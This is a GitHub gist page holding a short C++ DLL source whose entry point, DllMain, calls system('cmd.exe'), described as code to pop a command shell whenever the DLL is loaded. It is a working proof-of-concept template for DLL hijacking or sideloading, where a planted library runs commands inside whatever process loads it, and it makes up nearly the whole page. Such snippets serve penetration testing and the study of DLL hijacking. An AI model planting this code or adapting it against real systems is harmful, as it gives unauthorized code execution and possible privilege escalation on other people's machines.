Skip to content

Instantly share code, notes, and snippets.

@atucom
Created February 26, 2020 21:55
Show Gist options
  • Save atucom/5ab43b63a9e66a86a2c42b76f21a333a to your computer and use it in GitHub Desktop.
Save atucom/5ab43b63a9e66a86a2c42b76f21a333a to your computer and use it in GitHub Desktop.
Simple CPP code to pop a CMD shell upon loading a DLL
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
system("cmd.exe");
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment